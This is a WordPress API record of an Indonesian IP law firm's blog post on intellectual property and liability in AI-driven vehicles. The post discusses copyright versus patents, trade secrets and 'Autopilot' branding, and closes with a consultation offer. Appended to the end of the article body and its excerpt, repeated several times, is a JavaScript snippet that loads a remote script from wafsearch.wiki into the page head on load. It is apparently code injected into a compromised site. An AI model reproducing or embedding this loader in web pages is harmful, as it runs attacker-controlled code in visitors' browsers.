{"id":6031,"date":"2026-02-18T05:34:02","date_gmt":"2026-02-18T05:34:02","guid":{"rendered":"https:\/\/affa.co.id\/?p=6031"},"modified":"2026-02-18T05:34:02","modified_gmt":"2026-02-18T05:34:02","slug":"ai-di-jalan-raya-antara-inovasi-kendaraan-dan-jerat-hukum","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2026\/02\/18\/ai-di-jalan-raya-antara-inovasi-kendaraan-dan-jerat-hukum\/","title":{"rendered":"AI di Jalan Raya: Antara Inovasi Kendaraan dan Jerat Hukum"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Kehadiran kecerdasan buatan (AI) tidak hanya mengubah cara kendaraan beroperasi, tetapi juga merevolusi lanskap Kekayaan Intelektual (KI) di dunia otomotif. Karena jika kita amati nilai dari sebuah perusahaan otomotif saat ini tidak lagi hanya terletak pada mesin dan desain fisik. Tapi dari kemampuannya dalam memanfaatkan kecerdasan buatan.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Dan level kecerdasan buatan dari sebuah perusahaan otomotif itu dinilai dari algoritma, dataset pelatihan, sistem sensor seperti LiDAR, software update, dan nama fitur AI itu sendiri. Karena kini kendaraan telah berevolusi menjadi <\/span><b><i>software-defined vehicles<\/i><\/b><span style=\"font-weight: 400\">. Dan ketika software menjadi jantung produk, maka strategi KI harus ikut berevolusi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Dari Mekanik ke Algoritma: Pergeseran Nilai<\/b><\/p>\n<p><span style=\"font-weight: 400\">Di masa lalu, perlindungan otomotif didominasi oleh:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Paten dari Invensi Mekanik<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Desain Industri<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perlindungan Merek Konvensional<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Kini, pusat perlindungan bergeser ke:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Paten Algoritma dan Sistem AI<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Rahasia Dagang atas Data &amp; Arsitektur Sistem<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perlindungan Merek atas Fitur Digital<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kepatuhan terhadap Regulasi Data<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Perubahan ini bukan kosmetik, tapi struktural yang tidak dapat dihindarkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Pelajaran dari Sengketa Global<\/b><\/p>\n<ol>\n<li style=\"list-style-type: none\">\n<ol>\n<li style=\"font-weight: 400\"><b>Hak Cipta Tidak Melindungi Fungsi<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Dari sengketa yang melibatkan <\/span><b>SAS Institute v. World Programming Ltd.<\/b><span style=\"font-weight: 400\">, pengadilan menegaskan bahwa fungsi dan logika <\/span><i><span style=\"font-weight: 400\">software<\/span><\/i><span style=\"font-weight: 400\"> tidak dilindungi Hak Cipta, yang dilindungi hanyalah<\/span><i><span style=\"font-weight: 400\"> source code<\/span><\/i><span style=\"font-weight: 400\"> dan ekspresinya.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Artinya, jika perusahaan AI hanya mengandalkan perlindungan Hak Cipta, perlindungannya bisa sangat terbatas. Strategi Paten menjadi jauh lebih penting.<\/span><\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><b>Drafting Paten yang Tidak Presisi Bisa Berakibat Fatal<\/b><b><br \/>\n<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Dari sengketa <\/span><b>Quanergy v. Velodyne<\/b><span style=\"font-weight: 400\">, definisi teknis mengenai LiDAR (<\/span><b><i>Light Detection and Ranging<\/i><\/b><span style=\"font-weight: 400\">: teknologi penginderaan jauh aktif yang menggunakan pulsa cahaya laser untuk mengukur jarak, kecepatan, dan bentuk objek secara presisi) masih menjadi perdebatan. Detail teknis dalam klaim Paten yang akan menentukan arah putusannya.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Dalam teknologi AI kendaraan otonom, satu frasa dalam klaim bisa bernilai miliaran dolar.<\/span><\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><b>Rahasia Dagang Lebih Berbahaya dari Paten<\/b><b><br \/>\n<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\">Dari kasus <\/span><b>Waymo v. Uber<\/b><span style=\"font-weight: 400\"> menunjukkan bahwa kebocoran data dan desain internal bisa memicu sengketa besar. Di era AI, dataset dan arsitektur sistem sering kali lebih bernilai daripada Patennya sendiri.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">Manajemen akses internal dan perlindungan Rahasia Dagang kini menjadi strategi utama, bukan pelengkap.<\/span><\/span>&nbsp;<\/li>\n<li style=\"font-weight: 400\"><b>Branding AI Bisa Berujung Liability<\/b><b><br \/>\n<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Penggunaan istilah seperti <\/span><b><i>\u201cAutopilot\u201d <\/i><\/b><span style=\"font-weight: 400\">atau<\/span><b><i> \u201cFull Self Driving\u201d <\/i><\/b><span style=\"font-weight: 400\"><span style=\"font-weight: 400\">kemudian memunculkan pertanyaan hukum: Apakah istilah tersebut menyesatkan publik?<\/span><\/span>&nbsp;<\/p>\n<p>Karena branding fitur AI bukan sekadar strategi marketing. Ia dapat memicu gugatan tanggung jawab produk dan kelalaian.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Tantangan KI di Era Kendaraan AI<\/b><\/p>\n<p><span style=\"font-weight: 400\">Pada akhirnya Industri ini menghadapi beberapa isu fundamental:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Patentability AI<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Setiap negara memiliki pendekatan berbeda dalam mematenkan algoritma dan machine learning.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kepemilikan Invensi yang Dihasilkan AI<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Siapa inventor yang sah ketika AI menciptakan inovasi?<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perlindungan Data<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Kendaraan otonom mengumpulkan data masif. Perlindungan data harus berjalan seiring dengan kepatuhan regulasi.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Risiko Lintas Negara<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Regulasi KI dan standar keselamatan berbeda-beda di tiap yurisdiksi.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Strategi KI tidak lagi bisa bersifat lokal. Ia harus dirancang secara global.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Ketika AI Masuk ke Ranah Tanggung Jawab Hukum<\/b><\/p>\n<p><span style=\"font-weight: 400\">Kasus kecelakaan yang melibatkan sistem otonom menunjukkan bahwa gugatan atas kelalaian (tort), tanggung jawab produk (product liability), dan klaim cacat sistem akan semakin sering terjadi.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Karena KI kini bukan hanya alat perlindungan inovasi, ia telah menjadi bagian dari manajemen risiko hukum.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Perlindungan Merek pun Merambah AI<\/b><\/p>\n<p><span style=\"font-weight: 400\">AI juga telah mengubah cara perusahaan membangun Merek:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Nama fitur AI sebagai identitas produk;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Voice assistant sebagai diferensiasi brand;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Software update sebagai service mark; dan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pengalaman digital sebagai aset komersial.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">Perlindungan Merek tidak lagi berhenti pada logo, tapi juga sudah diperluas ke pengalaman pengguna berbasis AI.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Lalu Siapa yang Akan Memimpin?<\/b><\/p>\n<p><span style=\"font-weight: 400\">Masa depan otomotif berbasis KI dituntut untuk meningkatkan pemahaman dan eksekusi pada tiga poin berikut ini:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kolaborasi erat antara <\/span><i><span style=\"font-weight: 400\">engineer<\/span><\/i><span style=\"font-weight: 400\"> dengan profesional KI yang memahami inovasi dan teknologi sebagai aset utama;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kemampuannya dalam mempengaruhi sistem regulasi yang mampu mengikuti kecepatan evolusi teknologi AI dan kendaraan otonom tanpa menghambat inovasi.; dan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menerapkan keseimbangan antara inovasi dan keselamatan publik.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Pada akhirnya, perusahaan yang mampu mengelola <\/span><i><span style=\"font-weight: 400\">AI-driven<\/span><\/i><span style=\"font-weight: 400\"> KI secara strategis akan memimpin generasi mobilitas berikutnya.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Lantas, apakah strategi KI Anda sudah dirancang untuk era kendaraan otonom?<\/span><\/p>\n<p><b>Jika Anda membutuhkan bantuan terkait strategi perlindungan KI yang tidak hanya defensif, tapi juga komprehensif, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: emirsyah.dinar@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.affa.co.id\"><span style=\"font-weight: 400\">www.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kehadiran kecerdasan buatan (AI) tidak hanya mengubah cara kendaraan beroperasi, tetapi juga merevolusi lanskap Kekayaan Intelektual (KI) di dunia otomotif. Karena jika kita amati nilai dari sebuah perusahaan otomotif saat ini tidak lagi hanya terletak pada mesin dan desain fisik. Tapi dari kemampuannya dalam memanfaatkan kecerdasan buatan. Dan level kecerdasan buatan dari sebuah perusahaan otomotif itu dinilai dari algoritma, dataset pelatihan, sistem sensor seperti LiDAR, software update, dan nama fitur AI itu sendiri. Karena kini kendaraan telah berevolusi menjadi software-defined vehicles. Dan ketika software menjadi jantung produk, maka strategi KI harus ikut berevolusi. &nbsp; Dari Mekanik ke Algoritma: Pergeseran Nilai Di masa lalu, perlindungan otomotif didominasi oleh: Paten dari Invensi Mekanik Desain Industri Perlindungan Merek Konvensional Kini, pusat perlindungan bergeser ke: Paten Algoritma dan Sistem AI Rahasia Dagang atas Data &amp; Arsitektur Sistem Perlindungan Merek atas Fitur Digital Kepatuhan terhadap Regulasi Data Perubahan ini bukan kosmetik, tapi struktural yang tidak dapat dihindarkan. &nbsp; Pelajaran dari Sengketa Global Hak Cipta Tidak Melindungi Fungsi Dari sengketa yang melibatkan SAS Institute v. World Programming Ltd., pengadilan menegaskan bahwa fungsi dan logika software tidak dilindungi Hak Cipta, yang dilindungi hanyalah source code dan ekspresinya. Artinya, jika perusahaan AI hanya mengandalkan perlindungan Hak Cipta, perlindungannya bisa sangat terbatas. Strategi Paten menjadi jauh lebih penting.&nbsp; Drafting Paten yang Tidak Presisi Bisa Berakibat Fatal Dari sengketa Quanergy v. Velodyne, definisi teknis mengenai LiDAR (Light Detection and Ranging: teknologi penginderaan jauh aktif yang menggunakan pulsa cahaya laser untuk mengukur jarak, kecepatan, dan bentuk objek secara presisi) masih menjadi perdebatan. Detail teknis dalam klaim Paten yang akan menentukan arah putusannya. Dalam teknologi AI kendaraan otonom, satu frasa dalam klaim bisa bernilai miliaran dolar.&nbsp; Rahasia Dagang Lebih Berbahaya dari Paten Dari kasus Waymo v. Uber menunjukkan bahwa kebocoran data dan desain internal bisa memicu sengketa besar. Di era AI, dataset dan arsitektur sistem sering kali lebih bernilai daripada Patennya sendiri. Manajemen akses internal dan perlindungan Rahasia Dagang kini menjadi strategi utama, bukan pelengkap.&nbsp; Branding AI Bisa Berujung Liability Penggunaan istilah seperti \u201cAutopilot\u201d atau \u201cFull Self Driving\u201d kemudian memunculkan pertanyaan hukum: Apakah istilah tersebut menyesatkan publik?&nbsp; Karena branding fitur AI bukan sekadar strategi marketing. Ia dapat memicu gugatan tanggung jawab produk dan kelalaian. &nbsp; Tantangan KI di Era Kendaraan AI Pada akhirnya Industri ini menghadapi beberapa isu fundamental: Patentability AI Setiap negara memiliki pendekatan berbeda dalam mematenkan algoritma dan machine learning. Kepemilikan Invensi yang Dihasilkan AI Siapa inventor yang sah ketika AI menciptakan inovasi? Perlindungan Data Kendaraan otonom mengumpulkan data masif. Perlindungan data harus berjalan seiring dengan kepatuhan regulasi. Risiko Lintas Negara Regulasi KI dan standar keselamatan berbeda-beda di tiap yurisdiksi. Strategi KI tidak lagi bisa bersifat lokal. Ia harus dirancang secara global. &nbsp; Ketika AI Masuk ke Ranah Tanggung Jawab Hukum Kasus kecelakaan yang melibatkan sistem otonom menunjukkan bahwa gugatan atas kelalaian (tort), tanggung jawab produk (product liability), dan klaim cacat sistem akan semakin sering terjadi. Karena KI kini bukan hanya alat perlindungan inovasi, ia telah menjadi bagian dari manajemen risiko hukum. &nbsp; Perlindungan Merek pun Merambah AI AI juga telah mengubah cara perusahaan membangun Merek: Nama fitur AI sebagai identitas produk; Voice assistant sebagai diferensiasi brand; Software update sebagai service mark; dan Pengalaman digital sebagai aset komersial. Perlindungan Merek tidak lagi berhenti pada logo, tapi juga sudah diperluas ke pengalaman pengguna berbasis AI. &nbsp; Lalu Siapa yang Akan Memimpin? Masa depan otomotif berbasis KI dituntut untuk meningkatkan pemahaman dan eksekusi pada tiga poin berikut ini: Kolaborasi erat antara engineer dengan profesional KI yang memahami inovasi dan teknologi sebagai aset utama; Kemampuannya dalam mempengaruhi sistem regulasi yang mampu mengikuti kecepatan evolusi teknologi AI dan kendaraan otonom tanpa menghambat inovasi.; dan Menerapkan keseimbangan antara inovasi dan keselamatan publik. &nbsp; Pada akhirnya, perusahaan yang mampu mengelola AI-driven KI secara strategis akan memimpin generasi mobilitas berikutnya. Lantas, apakah strategi KI Anda sudah dirancang untuk era kendaraan otonom? Jika Anda membutuhkan bantuan terkait strategi perlindungan KI yang tidak hanya defensif, tapi juga komprehensif, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : emirsyah.dinar@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6033,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[309,630,310,642,314,315,317,318,319,321,325,327,298,328,302,339,305,369,306,390,307,393,308,473],"class_list":["post-6031","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-kekayaan-intelektual","tag-performance","tag-ki","tag-otomotif","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark","tag-djki","tag-indonesia","tag-patent","tag-desain-industri","tag-merek","tag-industrial-design","tag-dgip","tag-paten","tag-affa","tag-indikasi-geografis","tag-affa-ipr","tag-ai","tag-intellectual-property","tag-kecerdasan-buatan","tag-ip","tag-geographical-indication"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6031","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6031"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6031\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6033"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6031"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6031"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6031"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}